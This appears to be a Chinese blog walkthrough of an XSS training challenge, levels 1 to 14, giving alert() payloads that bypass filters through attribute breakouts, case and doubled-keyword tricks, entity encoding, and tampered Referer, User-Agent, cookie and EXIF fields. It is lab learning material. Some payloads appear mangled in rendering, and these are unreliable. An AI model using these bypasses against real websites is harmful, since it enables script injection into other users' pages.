您的位置:首页 > 其它

XSS挑战之旅 解题记录

2017-09-06 23:47 295 查看
本文记录xss挑战解题,检验自己的xss技术

题目链接

Level1

链接为http://test.xss.tv/level1.php?name=test

页面没有输入点

直接构造payload
name=<script>alert(1)</script>


Level2

一样简单,给出payload
"><script>alert(1)</script>


Level3

过滤了尖括号

故用`’ onclick=alert(1)//

Level4

和L3一样,不同的是这里用双引号闭合

" onclick=alert(1)//


Level5

用上面的进行尝试,发现将onclick变成o_nclick

这里改用添加链接方式

"><a href="javascript:alert(1)">


然后点击链接即可

Level6

这里也将href过滤成hr_ef

这里用大小写绕过过滤

"><a hrEf="javascript:alert(1)">


Level7

这里直接将href script删除

于是采用机智方法

"><a hrhrefef="javascrscriptipt:alert(1)">


Level8

这里可以添加链接到页面

于是直接
javascript:alert(1)


但是不行因为会将script过滤成scr_ipt

这里采用HTML字符实体转换

将script转化成
script


最后payload
javascript:alert(1)


Level9

使用上关的payload,被提示不合法,说明对链接进行了格式要求

这里尝试了很多次,最后看到网上的解答,吐血

因为这里只需要有http://即可

javascript:alert("http://")


值得一提的是双引号会被过滤,于是第一个双引号用实体转换机即可

Level10

看源码,发现有几个type=hidden的输入框

于是使其显示并可以onclick触发事件

http://test.xss.tv/level10.php?t_sort=4" onclick=alert(1) type="text"


Level11

看源码,有个是显示referer

<input name="t_ref"  value="http://test.xss.tv/level10.php?t_sort=4%22%20onclick=alert(1)%20type=%22text%22" type="hidden">


这里也是尝试很多次,但是始终无法使得输入框改变type

最后百度得出要抓包改referer即可

修改
referer=12356" onclick=alert(1) type=text


Level12

和上一关类似,这次修改user-agent

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0" onclick=alert(1) type="text"


Level13

看网页源码有个输入框叫cook,故去看看cookie

果然有个cookie值为call me maybe

修改cookie
call me maybe?" onclick=alert(1)  type="text"


Level14

这里也是没思绪

百度得出答案,这里用的是乌云爆出的exif viewer的漏洞

修改图片exif信息如标题、作者
' "><img src=1 onerror=alert(document.domain)>
即可

之后第15关的链接失效了,就没做下去了
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  xss